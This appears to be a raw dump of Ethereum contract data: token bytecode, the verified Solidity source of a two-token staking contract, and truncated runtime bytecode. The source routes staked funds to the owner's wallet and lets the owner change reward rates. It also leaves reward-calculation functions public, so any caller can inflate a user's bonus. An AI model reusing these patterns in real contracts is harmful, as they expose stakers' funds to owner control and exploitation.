fffffffffffffffffffffffffffffffffffff16145b610cf057600080fd5b80600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610d48610d41610ef5565b84846110c8565b6001905092915050565b60088054610d5f90611add565b80601f0160208091040260200160405190810160405280929190818152602001828054610d8b90611add565b8015610dd85780601f10610dad57610100808354040283529160200191610dd8565b820191906000526020600020905b815481529060010190602001808311610dbb57829003601f168201915b505050505081565b60078054610ded90611add565b80601f0160208091040260200160405190810160405280929190818152602001828054610e1990611add565b8015610e665780601f10610e3b57610100808354040283529160200191610e66565b820191906000526020600020905b815481529060010190602001808311610e4957829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6490611d7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611e0e565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110bb91906116c4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112f90611ea0565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561119657600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561123a5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61124357600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561139557600960009054906101000a900460ff16806112fd5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113555750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b90611f32565b60405180910390fd5b5b6c064f964e68233a76f5200000008110806113fd5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806114555750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61145e57600080fd5b6114698383836115f4565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e690611fc4565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115829190611cb4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115e691906116c4565b60405180910390a350505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116388261160d565b9050919050565b6116488161162d565b811461165357600080fd5b50565b6000813590506116658161163f565b92915050565b6000806040838503121561168257611681611603565b5b600061169085828601611656565b92505060206116a185828601611656565b9150509250929050565b6000819050919050565b6116be816116ab565b82525050565b60006020820190506116d960008301846116b5565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117195780820151818401526020810190506116fe565b83811115611728576000848401525b50505050565b6000601f19601f8301169050919050565b600061174a826116df565b61175481856116ea565b93506117648185602086016116fb565b61176d8161172e565b840191505092915050565b60006020820190508181036000830152611792818461173f565b905092915050565b6117a3816116ab565b81146117ae57600080fd5b50565b6000813590506117c08161179a565b92915050565b600080604083850312156117dd576117dc611603565b5b60006117eb85828601611656565b92505060206117fc858286016117b1565b9150509250929050565b60008115159050919050565b61181b81611806565b82525050565b60006020820190506118366000830184611812565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6118798261172e565b810181811067ffffffffffffffff8211171561189857611897611841565b5b80604052505050565b60006118ab6115f9565b90506118b78282611870565b919050565b600067ffffffffffffffff8211156118d7576118d6611841565b5b602082029050602081019050919050565b600080fd5b60006119006118fb846118bc565b6118a1565b90508083825260208201905060208402830185811115611923576119226118e8565b5b835b8181101561194c57806119388882611656565b845260208401935050602081019050611925565b5050509392505050565b600082601f83011261196b5761196a61183c565b5b813561197b8482602086016118ed565b91505092915050565b60006020828403121561199a57611999611603565b5b600082013567ffffffffffffffff8111156119b8576119b7611608565b5b6119c484828501611956565b91505092915050565b6000806000606084860312156119e6576119e5611603565b5b60006119f486828701611656565b9350506020611a0586828701611656565b9250506040611a16868287016117b1565b9150509250925092565b600060ff82169050919050565b611a3681611a20565b82525050565b6000602082019050611a516000830184611a2d565b92915050565b600060208284031215611a6d57611a6c611603565b5b6000611a7b84828501611656565b91505092915050565b611a8d8161162d565b82525050565b6000602082019050611aa86000830184611a84565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611af557607f821691505b60208210811415611b0957611b08611aae565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b78826116ab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611bab57611baa611b3e565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c126028836116ea565b9150611c1d82611bb6565b604082019050919050565b60006020820190508181036000830152611c4181611c05565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b6000611c7e601f836116ea565b9150611c8982611c48565b602082019050919050565b60006020820190508181036000830152611cad81611c71565b9050919050565b6000611cbf826116ab565b9150611cca836116ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cff57611cfe611b3e565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611d666024836116ea565b9150611d7182611d0a565b604082019050919050565b60006020820190508181036000830152611d9581611d59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611df86022836116ea565b9150611e0382611d9c565b604082019050919050565b60006020820190508181036000830152611e2781611deb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611e8a6025836116ea565b9150611e9582611e2e565b604082019050919050565b60006020820190508181036000830152611eb981611e7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611f1c6023836116ea565b9150611f2782611ec0565b604082019050919050565b60006020820190508181036000830152611f4b81611f0f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611fae6026836116ea565b9150611fb982611f52565b604082019050919050565b60006020820190508181036000830152611fdd81611fa1565b905091905056fea2646970667358221220c7f541e9a9af9e7cf583d36db66e0f23d71f7c10d6ed7e7b4acf08ad14f950b664736f6c634300080a0033
[ 0 ]
0xf2b4e3654f0fb4edf440fa224000af663980b58c
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ /** *Submitted for verification at Etherscan.io on 2022-03-28 */ /** *Submitted for verification at Etherscan.io on 2022-03-26 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; //library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IBEP20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender,address recipient,uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner,address indexed spender,uint256 value); } interface ADAMSTAKE{ function stakedetails(address, uint256) external view returns (uint256,uint256,uint256,uint256,bool); function users(address)external returns(uint256,uint256,uint256); } contract StakeContract { using SafeMath for uint256; //Variables IBEP20 public wolveToken; IBEP20 public amdToken; ADAMSTAKE public stakeInstance; address payable public owner; bool public migrationCheck; uint256 public totalUniqueStakers; uint256 public totalStakedTokens; uint256 public totalStaked; uint256 public minStake; uint256 public constant percentDivider = 100000; uint256 public newPercentage; uint256 public endingTime; uint256 public stakeTimeForEndind; //arrays uint256[4] public percentages = [0, 0, 0, 0]; uint256[4] public APY = [8000,9000,10000,11000]; uint256[4] public durations = [15 days, 30 days, 60 days, 90 days]; //structures struct Stake { uint256 stakeTime; uint256 withdrawTime; uint256 amount; uint256 bonus; uint256 beforeExtendBonus; uint256 afterTimeBonus; uint256 plan; bool withdrawan; bool migrated; uint256 transactions; uint256 rewardToken; uint256 withdrawWith; } struct User { uint256 totalstakeduser; uint256 stakecount; uint256 claimedstakeTokens; mapping(uint256 => Stake) stakerecord; } //mappings mapping(address => uint256) deductedAmount; mapping(address => User) public users; mapping(address => bool) public uniqueStaker; uint256 public totalWolveStakeToken; uint256 public totalAmdStakeToken; uint256 public totalWolveRewardToken; uint256 public totalAmdRewardToken; //modifiers modifier onlyOwner() { require(msg.sender == owner, "Ownable: Not an owner"); _; } //events event Staked(address indexed _user, uint256 indexed _amount, uint256 indexed _Time); event Withdrawn(address indexed _user, uint256 indexed _amount, uint256 indexed _Time); event ExtenderStake(address indexed _user, uint256 indexed _amount, uint256 indexed _Time); event UNIQUESTAKERS(address indexed _user); // constructor constructor(address wolve, address amd,address amdStaking) { owner = payable(msg.sender); wolveToken = IBEP20(wolve); amdToken = IBEP20(amd); stakeInstance=ADAMSTAKE(amdStaking); minStake = 45522400000000; for(uint256 i ; i < percentages.length;i++){ percentages[i] = APYtoPercentage(APY[i], durations[i].div(1 days)); } } // functions // StakeWithWolve uint256 public stakewolvTime; function stakeWithWolve(uint256 amount, uint256 plan, uint rewardToken) public { require(plan >= 0 && plan < 4, "put valid plan details"); require(amount >= minStake,"cant deposit need to stake more than minimum amount"); if (!uniqueStaker[msg.sender]) { uniqueStaker[msg.sender] = true; totalUniqueStakers++; emit UNIQUESTAKERS(msg.sender); } User storage user = users[msg.sender]; wolveToken.transferFrom(msg.sender, owner, amount); user.totalstakeduser += amount; user.stakerecord[user.stakecount].plan = plan; user.stakerecord[user.stakecount].stakeTime = block.timestamp; stakewolvTime = user.stakerecord[user.stakecount].stakeTime; user.stakerecord[user.stakecount].amount = amount; user.stakerecord[user.stakecount].withdrawTime = block.timestamp.add(durations[plan]); user.stakerecord[user.stakecount].bonus = amount.mul(percentages[plan]).div(percentDivider); user.stakerecord[user.stakecount].transactions = 1; user.stakerecord[user.stakecount].withdrawWith = 1; user.stakerecord[user.stakecount].rewardToken = rewardToken; user.stakecount++; totalStakedTokens += amount; totalWolveStakeToken+=amount; emit Staked(msg.sender, amount, block.timestamp); uint256 value1 = 10; // percentage that how much amount that was deducted in Wolvrine token uint256 deductedAmount1 = amount.mul(value1).div(100); //amount that was deducted in Wolvrine token deductedAmount[msg.sender] = deductedAmount1; } //StakeWithAmd function stakeWithAmd(uint256 amount, uint256 plan, uint rewardToken) public { require(plan >= 0 && plan < 4, "put valid plan details"); require(amount >= minStake,"cant deposit need to stake more than minimum amount"); if (!uniqueStaker[msg.sender]) { uniqueStaker[msg.sender] = true; totalUniqueStakers++; emit UNIQUESTAKERS(msg.sender); } User storage user = users[msg.sender]; amdToken.transferFrom(msg.sender, owner, amount); user.totalstakeduser += amount; user.stakerecord[user.stakecount].plan = plan; user.stakerecord[user.stakecount].stakeTime = block.timestamp; user.stakerecord[user.stakecount].amount = amount; user.stakerecord[user.stakecount].withdrawTime = block.timestamp.add(durations[plan]); user.stakerecord[user.stakecount].bonus = amount.mul(percentages[plan]).div(percentDivider); user.stakerecord[user.stakecount].transactions = 2; user.stakerecord[user.stakecount].withdrawWith = 2; user.stakerecord[user.stakecount].rewardToken = rewardToken; user.stakecount++; totalStakedTokens += amount; totalAmdStakeToken+=amount; emit Staked(msg.sender, amount, block.timestamp); } function withdrawInWolve(uint256 count) public { User storage user = users[msg.sender]; require(user.stakecount >= count, "Invalid Stake index"); require(user.stakerecord[count].migrated != true,"You canot withdraw migrated stake from volve."); require(user.stakerecord[count].withdrawWith == 1,"You canot withdraw Admantium staked token from Wolverinu."); require(!user.stakerecord[count].withdrawan," withdraw completed "); require(wolveToken.balanceOf(owner) >= user.stakerecord[count].amount,"owner doesnt have enough balance"); require(user.stakerecord[count].amount != 0,"User stake amount must be greater then zero. "); checkEndingTime(msg.sender, count, user.stakerecord[count].plan); require(endingTime > stakeTimeForEndind, "You cannot withdraw amount before Time."); checkAfterTimeBonus(msg.sender,count); wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].amount); if( user.stakerecord[count].rewardToken == 1 ){ wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus); }else{ require(amdToken.balanceOf(owner) >= user.stakerecord[count].bonus,"owner doesnt have enough balance in admantium token"); amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus); } if(user.stakerecord[count].transactions == 1){ require(wolveToken.balanceOf(owner) >= user.stakerecord[count].amount,"owner doesnt have enough balance for 10%"); wolveToken.transferFrom(owner,msg.sender,deductedAmount[msg.sender]); } if(user.stakerecord[count].beforeExtendBonus != 0){ if(user.stakerecord[count].rewardToken == 1){ wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus); }else{ amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus); } } if(user.stakerecord[count].afterTimeBonus != 0){ if(user.stakerecord[count].rewardToken == 1){ wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus); } else{ amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus); } } user.stakerecord[count].withdrawan = true; totalWolveRewardToken+= user.stakerecord[count].bonus; emit Withdrawn(msg.sender,user.stakerecord[count].amount,block.timestamp); } function withdrawInAmd(uint256 count) public { User storage user = users[msg.sender]; require(user.stakecount >= count, "Invalid Stake index"); require(user.stakerecord[count].withdrawWith == 2,"You canot withdraw Wolverinu staked token from Admantium."); require(!user.stakerecord[count].withdrawan," withdraw completed "); require(amdToken.balanceOf(owner) >= user.stakerecord[count].amount,"This owner doesnt have enough balance"); if(!user.stakerecord[count].migrated){ checkEndingTime(msg.sender, count, user.stakerecord[count].plan); require(endingTime > stakeTimeForEndind, "You cannot withdraw amount before Time."); checkAfterTimeBonus(msg.sender,count); } amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].amount); if( user.stakerecord[count].rewardToken == 1 ) { wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus); } else { amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus); } if(user.stakerecord[count].transactions == 1){ if(deductedAmount[msg.sender] > 0){ wolveToken.transferFrom(owner,msg.sender,deductedAmount[msg.sender]); } } if(user.stakerecord[count].migrated){ uint256 value1 = 10; // percentage that how much amount that was deducted in Wolvrine token uint256 deductedAmount2 = user.stakerecord[count].amount.mul(value1).div(100); amdToken.transferFrom(owner,msg.sender,deductedAmount2); } if(!user.stakerecord[count].migrated){ if(user.stakerecord[count].beforeExtendBonus != 0){ if(user.stakerecord[count].rewardToken == 1){ wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus); } else{ amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus); } } if(user.stakerecord[count].afterTimeBonus != 0){ if(user.stakerecord[count].rewardToken == 1){ wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus); } else{ amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus); } } } user.claimedstakeTokens += user.stakerecord[count].amount; user.claimedstakeTokens += user.stakerecord[count].bonus; user.stakerecord[count].withdrawan = true; totalAmdRewardToken+= user.stakerecord[count].bonus; emit Withdrawn(msg.sender,user.stakerecord[count].amount,block.timestamp); } function extendStake(uint256 count,uint256 newplan) public { User storage user = users[msg.sender]; require(user.stakerecord[count].withdrawan != true,"This stake is already withdrawn."); require(user.stakecount >= count, "Invalid Stake index"); require(newplan >= 0 && newplan < 4 ,"Enter Valid Plan"); require(user.stakerecord[count].plan < newplan, "Can not extend to lower plan"); require(!user.stakerecord[count].migrated,"You canot extend migrated stake."); checkEndingTime(msg.sender, count, user.stakerecord[count].plan); require(endingTime < stakeTimeForEndind, "You cannot extend stake after Time is Over."); uint256 timeBefore = user.stakerecord[count].stakeTime; uint256 currentTime = block.timestamp; uint256 beforeDays = (currentTime - timeBefore).div(1 days); calculateNewReward(msg.sender,count,user.stakerecord[count].amount, beforeDays,user.stakerecord[count].plan); user.stakerecord[count].plan = newplan; user.stakerecord[count].stakeTime = block.timestamp; user.stakerecord[count].withdrawTime = block.timestamp.add(durations[newplan]); user.stakerecord[count].bonus = user.stakerecord[count].amount.mul(percentages[newplan]).div(percentDivider); emit ExtenderStake(msg.sender,user.stakerecord[count].amount,block.timestamp); } function checkAfterTimeBonus(address userAddress,uint count) public { User storage user = users[userAddress]; uint256 timeBefore = user.stakerecord[count].withdrawTime; uint256 currentTime = block.timestamp; uint256 nextDays = (currentTime - timeBefore).div(1 days); calculateNextReward(userAddress, count, user.stakerecord[count].amount, nextDays, user.stakerecord[count].plan); } function checkEndingTime(address userAddress, uint256 count, uint plan) public returns(uint256){ User storage user = users[userAddress]; endingTime = (block.timestamp - user.stakerecord[count].stakeTime).div(1 days); stakeTimeForEndind = durations[plan].div(1 days); return endingTime; } function migrateV1(address[] memory userList) external onlyOwner returns (bool){ require(!migrationCheck,"Owner can not called this function again."); for (uint i=0; i< userList.length; i++){ require(userList[i] != address(0),"This is not a valid address"); User storage user = users[userList[i]]; (uint256 _totalstakeduser, uint256 _stakecount, uint256 _claimedstakeTokens) = stakeInstance.users(userList[i]); require(_stakecount != 0,"He is not an old invester"); uint256 count = user.stakecount; user.totalstakeduser += _totalstakeduser; user.stakecount += _stakecount; user.claimedstakeTokens += _claimedstakeTokens; for(uint256 j = 0; j < _stakecount; j++){ (uint256 _withdrawTime/*,uint256 _stakeTime*/,uint256 _amount,uint256 _bonus,uint256 _plan, bool _withdrawan) = stakeInstance.stakedetails(userList[i],j); user.stakerecord[count].plan = _plan; // user.stakerecord[j].stakeTime = _stakeTime; user.stakerecord[count].amount = _amount; user.stakerecord[count].withdrawTime = _withdrawTime; user.stakerecord[count].bonus = _bonus; user.stakerecord[count].withdrawan = _withdrawan; user.stakerecord[count].rewardToken = 2; user.stakerecord[count].transactions = 1; user.stakerecord[count].migrated = true; user.stakerecord[count].withdrawWith = 2; count++; } } migrationCheck = true; return migrationCheck; } function changeOwner(address payable _newOwner) external onlyOwner { owner = _newOwner; } function migrateStuckFunds() external onlyOwner { owner.transfer(address(this).balance); } function migratelostToken(address lostToken) external onlyOwner { IBEP20(lostToken).transfer(owner,IBEP20(lostToken).balanceOf(address(this))); } function setminimumtokens(uint256 amount) external onlyOwner { minStake = amount; } function setpercentages(uint256 amount1,uint256 amount2,uint256 amount3,uint256 amount4) external onlyOwner { percentages[0] = amount1; percentages[1] = amount2; percentages[2] = amount3; percentages[3] = amount4; } function stakedetails(address add, uint256 count)public view returns ( Stake memory ){ return (users[add].stakerecord[count]); } function getAllStakeDetail(address add)public view returns (Stake[] memory ){ Stake[] memory userStakingInfo = new Stake[](users[add].stakecount); for(uint counter=0; counter < users[add].stakecount; counter++) { Stake storage member = users[add].stakerecord[counter]; userStakingInfo[counter] = member; } return userStakingInfo; } function calculateRewards(uint256 amount, uint256 plan) external view returns (uint256){ return amount.mul(percentages[plan]).div(percentDivider); } function calculaateNewPercentage(uint256 _newDuration,uint256 plan) public { uint256 newDuration = 1 days; newDuration = newDuration * _newDuration; newPercentage = APYtoPercentage(APY[plan], newDuration.div(1 days)); } function calculateNewReward(address userAddress, uint256 userStakeCount, uint256 amount, uint256 _newDuration, uint256 plan) public{ User storage user = users[userAddress]; calculaateNewPercentage(_newDuration, plan); user.stakerecord[userStakeCount].beforeExtendBonus += amount.mul(newPercentage).div(percentDivider); } function calculateNextReward(address userAddress, uint256 userStakeCount, uint256 amount, uint256 _newDuration, uint256 plan) public { User storage user = users[userAddress]; calculaateNewPercentage(_newDuration, plan); user.stakerecord[userStakeCount].afterTimeBonus = amount.mul(newPercentage).div(percentDivider); } function APYtoPercentage(uint256 apy, uint256 duration) public pure returns(uint256){ return apy.mul(duration).div(525600); } function currentStaked(address add) external view returns (uint256) { uint256 currentstaked; for (uint256 i; i < users[add].stakecount; i++) { if (!users[add].stakerecord[i].withdrawan) { currentstaked += users[add].stakerecord[i].amount; } } return currentstaked; } function getContractBalance() external view returns (uint256) { return address(this).balance; } function getContractstakeTokenBalanceOfWolve() external view returns (uint256) { return wolveToken.allowance(owner, address(this)); } function getContractstakeTokenBalanceOfAmd() external view returns (uint256) { return amdToken.allowance(owner, address(this)); } function getCurrentwithdrawTime() external view returns (uint256) { return block.timestamp; } }
0x608060405234801561001057600080fd5b50600436106102a05760003560e01c8063817b1cd211610167578063bc20a7af116100ce578063edccebc811610087578063edccebc8146105ad578063ef060a35146105c0578063f0e3019c146105e0578063f15bab4f146105e8578063f8858386146105fb578063fe6f1b051461060e57600080fd5b8063bc20a7af14610535578063d3882f1e14610548578063e0b4dfd41461055b578063e6be49301461057e578063e75a3bdd14610591578063e9c927b3146105a457600080fd5b8063a6f9dae111610120578063a6f9dae114610496578063a87430ba146104a9578063a96bae6c146104f3578063b13ef91414610506578063ba8d03701461050f578063bbb74acd1461052257600080fd5b8063817b1cd2146104165780638b54f9671461041f5780638da5cb5b146104325780639413be4d1461045d5780639b5ef54e14610470578063a0b97d7e1461048357600080fd5b806351a818301161020b57806369bf3ee7116101c457806369bf3ee7146103b95780636b645113146103d95780636c47a6c3146103ec5780636f9fb98a146103f55780637ac544ca146103fb5780637bd9781b1461040357600080fd5b806351a81830146103545780635616854414610367578063588f2ac21461038b578063608324a91461039457806361ae87051461039d57806364d0bae9146103a657600080fd5b80632a22e8b01161025d5780632a22e8b0146103155780633114d1301461031e578063375b3c0a146103265780633ae732591461032f57806348a88706146103385780634bf9c46d1461034b57600080fd5b806311fe9264146102a55780631204a6cc146102ba57806315383407146102e0578063186cb65b146102e957806319d274e5146102fc578063215f809514610302575b600080fd5b6102b86102b33660046133bf565b610618565b005b6102cd6102c836600461340b565b610900565b6040519081526020015b60405180910390f35b6102cd600a5481565b6102cd6102f7366004613428565b6109aa565b426102cd565b6102b8610310366004613428565b6109c1565b6102cd601e5481565b6102b861150e565b6102cd60075481565b6102cd60055481565b6102cd610346366004613441565b611574565b6102cd60045481565b6102cd610362366004613441565b6115a5565b60035461037b90600160a01b900460ff1681565b60405190151581526020016102d7565b6102cd60085481565b6102cd601c5481565b6102cd601d5481565b6102b86103b436600461340b565b6115b8565b6103cc6103c736600461340b565b6116ea565b6040516102d791906134e6565b61037b6103e736600461354b565b61186c565b6102cd60095481565b476102cd565b6102cd611dab565b6102b86104113660046133bf565b611e3b565b6102cd60065481565b6102b861042d366004613428565b612133565b600354610445906001600160a01b031681565b6040516001600160a01b0390911681526020016102d7565b6102b861046b366004613441565b612162565b6102cd61047e366004613610565b6124b4565b6102b8610491366004613645565b612523565b6102b86104a436600461340b565b612591565b6104d86104b736600461340b565b60186020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016102d7565b600154610445906001600160a01b031681565b6102cd601a5481565b6102b861051d366004613428565b6125dd565b6102b8610530366004613689565b612f99565b6102cd610543366004613428565b61300e565b600254610445906001600160a01b031681565b61037b61056936600461340b565b60196020526000908152604090205460ff1681565b6102b861058c366004613441565b61301e565b6102b861059f366004613645565b61305b565b6102cd601b5481565b6102b86105bb3660046136b5565b6130b8565b6105d36105ce366004613689565b6130f6565b6040516102d791906136e7565b6102cd6131b8565b600054610445906001600160a01b031681565b6102cd610609366004613428565b6131f3565b6102cd620186a081565b600482106106665760405162461bcd60e51b81526020600482015260166024820152757075742076616c696420706c616e2064657461696c7360501b60448201526064015b60405180910390fd5b6007548310156106885760405162461bcd60e51b815260040161065d906136f6565b3360009081526019602052604090205460ff166106f857336000908152601960205260408120805460ff1916600117905560048054916106c78361375f565b909155505060405133907ffbefdee2f057a0ac083104a1d9267c8f8232d2419815379b08626a689fb8d46890600090a25b336000818152601860205260409081902060015460035492516323b872dd60e01b815291936001600160a01b03918216936323b872dd936107419390911690899060040161377a565b602060405180830381600087803b15801561075b57600080fd5b505af115801561076f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079391906137ae565b50838160000160008282546107a891906137c9565b909155505060018101805460009081526003830160205260408082206006018690558254825280822042905591548152206002018490556107fe601384600481106107f5576107f56137e1565b015442906132c4565b600180830154600090815260038401602052604090200155610842620186a061083c600b8660048110610833576108336137e1565b01548790613245565b90613203565b60018201805460009081526003808501602052604080832090910193909355815481528281206002600890910181905582548252838220600a0155815481529182206009018490558054916108968361375f565b919050555083600560008282546108ad91906137c9565b9250508190555083601b60008282546108c691906137c9565b90915550506040514290859033907f1449c6dd7851abc30abf37f57715f492010519147cc2652fbc38202c18a6ee9090600090a450505050565b60008060005b6001600160a01b0384166000908152601860205260409020600101548110156109a3576001600160a01b038416600090815260186020908152604080832084845260030190915290206007015460ff16610991576001600160a01b038416600090815260186020908152604080832084845260030190915290206002015461098e90836137c9565b91505b8061099b8161375f565b915050610906565b5092915050565b600f81600481106109ba57600080fd5b0154905081565b33600090815260186020526040902060018101548211156109f45760405162461bcd60e51b815260040161065d906137f7565b600082815260038201602052604090206007015460ff61010090910416151560011415610a795760405162461bcd60e51b815260206004820152602d60248201527f596f752063616e6f74207769746864726177206d69677261746564207374616b60448201526c3290333937b6903b37b63b329760991b606482015260840161065d565b60008281526003820160205260409020600a0154600114610b025760405162461bcd60e51b815260206004820152603a60248201527f596f752063616e6f742077697468647261772041646d616e7469756d2073746160448201527f6b656420746f6b656e2066726f6d2020576f6c766572696e752e000000000000606482015260840161065d565b600082815260038201602052604090206007015460ff1615610b5d5760405162461bcd60e51b81526020600482015260146024820152730103bb4ba34323930bb9031b7b6b83632ba32b2160651b604482015260640161065d565b600082815260038281016020526040808320600201549254915490516370a0823160e01b81526001600160a01b0391821660048201529116906370a082319060240160206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef9190613824565b1015610c3d5760405162461bcd60e51b815260206004820181905260248201527f6f776e657220646f65736e74206861766520656e6f7567682062616c616e6365604482015260640161065d565b6000828152600382016020526040902060020154610cb35760405162461bcd60e51b815260206004820152602d60248201527f55736572207374616b6520616d6f756e74206d7573742062652067726561746560448201526c039103a3432b7103d32b937971609d1b606482015260840161065d565b6000828152600382016020526040902060060154610cd490339084906124b4565b50600a5460095411610cf85760405162461bcd60e51b815260040161065d9061383d565b610d023383612f99565b60008054600380548584529084016020526040928390206002015492516323b872dd60e01b81526001600160a01b03928316936323b872dd93610d4c93169133919060040161377a565b602060405180830381600087803b158015610d6657600080fd5b505af1158015610d7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9e91906137ae565b5060008281526003820160205260409020600901546